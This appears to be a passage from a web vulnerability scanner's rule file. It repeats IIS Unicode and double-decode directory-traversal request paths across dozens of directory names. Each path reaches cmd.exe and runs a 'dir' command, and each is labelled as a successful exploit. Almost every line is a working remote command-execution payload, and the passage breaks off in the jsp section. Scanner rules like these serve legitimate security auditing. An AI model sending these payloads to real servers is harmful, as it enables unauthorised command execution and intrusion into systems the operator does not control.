info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iissamples >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# iishelp....
scan () iishelp >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () iishelp >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# _private....
scan () _private >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () _private >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# images....
scan () images >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () images >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# icons....
scan () icons >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () icons >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# cgi....
scan () cgi >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () cgi >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# bin....
scan () bin >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bin >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# test....
scan () test >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () test >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# mail....
scan () mail >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () mail >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# logs....
scan () logs >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logs >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# logfiles....
scan () logfiles >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () logfiles >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# hidden....
scan () hidden >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () hidden >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# secret....
scan () secret >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () secret >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# stats....
scan () stats >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () stats >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# perl....
scan () perl >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () perl >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# jsp....
scan () jsp >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
